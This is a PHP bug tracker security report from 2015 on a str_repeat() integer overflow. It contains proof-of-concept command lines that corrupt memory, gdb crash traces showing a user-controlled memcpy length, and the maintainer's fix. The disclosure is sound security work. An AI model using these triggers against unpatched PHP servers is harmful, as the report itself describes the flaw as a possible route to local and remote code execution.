php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69403 str_repeat() sign mismatch based memory corruption
Submitted: 2015-04-09 06:24 UTC Modified: 2015-05-12 19:39 UTC
From: andrea dot palazzo at truel dot it Assigned: stas (profile)
Status: Closed Package: Strings related
PHP Version: 5.4.40 OS: Ubuntu x86_64
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: andrea dot palazzo at truel dot it
New email:
PHP Version: OS:

 

 [2015-04-09 06:24 UTC] andrea dot palazzo at truel dot it
Description:
------------
OVERVIEW
str_repeat() suffers from a sign mismatch based integer overflow that results in creation of corrupted ZVALs; this condition, depending on the context, can be abused to bypass PHP-level checks or trigger any kind of memory error: a successful exploitation of this issue is likely to produce both local and remote code execution vectors.

DETAILS
str_repeat() takes mult as second argument, which represents the number of desired repetitions for the string passed as first argument. Once retrieved, this value is multiplied by input_len and stored into result_len

    /* Initialize the result string */
4907    result_len = input_len * mult;
which then, on line 4930 is passed as argument for RETURN_STRINGL() macro.
It should be noticed that while RETURN_STRINGL() ends up calling ZVAL_STRINGL(), which expects the length argument to be a signed int, result_len is defined as size_t, producing an implicit cast of the actual value.
In situations in which huge memory allocations are possible (most likely 64-bit systems), it is possible to take advantage of this situation overflowing ZVAL_STRINGL's length into a negative value, in order to get a corrupted string-typed ZVAL.
(gdb) r -r 'var_dump(str_repeat("a", 4294967294+1));'

Breakpoint 1, php_var_dump (struc=0x7ffff7f8a188, level=level@entry=1)
    at /build/buildd/php5-5.6.7+dfsg/ext/standard/var.c:88
88	/build/buildd/php5-5.6.7+dfsg/ext/standard/var.c: No such file or directory.
(gdb) p **struc
$7 = {value = {lval = 140732723359792, dval = 6,9531203857753119e-310, str = {
      val = 0x7ffee3fbf030 'a' <repeats 200 times>..., len = -1}, 
    ht = 0x7ffee3fbf030, obj = {handle = 3824939056, 
      handlers = 0x7fffffffffff}, ast = 0x7ffee3fbf030}, refcount__gc = 1, 
  type = 6 '\006', is_ref__gc = 0 '\000'}

EXPLOITATION
The easiest use of this issue could be bypassing PHP-level checks:

$ php -r 'echo strlen(str_repeat("a", 4294967294));'
-2

More interesting scenario comes up when more complex elaborations are applied to a corrupted ZVAL, here I'm gonna list a non-exaustive series of examples which could differ both in severity and exploitability, just to give you an idea.

(gdb) r -r 'strtoupper(str_repeat("a", 4294967294+1));'
Starting program: /usr/bin/php -r 'strtoupper(str_repeat("a", 4294967294+1));'

Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned ()
    at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:37
37	../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
(gdb) x/i $pc
=> 0x7ffff5b2b005 <__memcpy_sse2_unaligned+53>:	movdqu %xmm8,-0x10(%rdi,%rdx,1)

(gdb) p/x $rdx
$15 = 0xffffffff
 <== user controlled
(gdb) p/x $rdi
$16 = 0x7ffff7fc0a70
(gdb) p $xmm8
$17 = {v4_float = {2,59845894e+20, 2,59845894e+20, 2,59845894e+20, 
    2,59845894e+20}, v2_double = {1,2217638442043777e+161, 
    1,2217638442043777e+161}, v16_int8 = {97 <repeats 16 times>}, v8_int16 = {
    24929, 24929, 24929, 24929, 24929, 24929, 24929, 24929}, v4_int32 = {
    1633771873, 1633771873, 1633771873, 1633771873}, v2_int64 = {
    7016996765293437281, 7016996765293437281}, 
  uint128 = 0x61616161616161616161616161616161}



(gdb) r -r 'md5(str_repeat("a", 4294967294-1));'

Program received signal SIGSEGV, Segmentation fault.
body (ctx=ctx@entry=0x7fffffffc5c0, data=data@entry=0x7ffee3fbf030, 
    size=18446744069414182912)
    at /build/buildd/php5-5.6.7+dfsg/ext/standard/md5.c:214
214	/build/buildd/php5-5.6.7+dfsg/ext/standard/md5.c: No such file or directory.


(gdb) r -r 'str_repeat("a", 4294967294+1)."";'

Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned ()
    at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:152
152	../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.



Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-05-10 08:36 UTC] stas@php.net
-PHP Version: Irrelevant +PHP Version: 5.4.40 -Assigned To: +Assigned To: stas
 [2015-05-10 08:36 UTC] stas@php.net
Thanks for the report.

The issue with strtoupper seems to be caused by an issue with _extrndup() where there can be an int overflow in emalloc. md5() one seems to be because of incorrect conversion from int to size_t. 

That said, limiting str_repeat so it doesn't overflow int seems to be not a bad idea.
 [2015-05-12 19:40 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c591f022f8abb4c0c2e60a037a0c0c5c5a125957
Log: Fix bug #69403 and other int overflows
 [2015-05-12 19:40 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2015-05-12 22:58 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c591f022f8abb4c0c2e60a037a0c0c5c5a125957
Log: Fix bug #69403 and other int overflows
 [2015-05-13 10:53 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=0a96aa600d1028eda505270366df28e4085a1941
Log: Fix bug #69403 and other int overflows
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 11:01:29 2024 UTC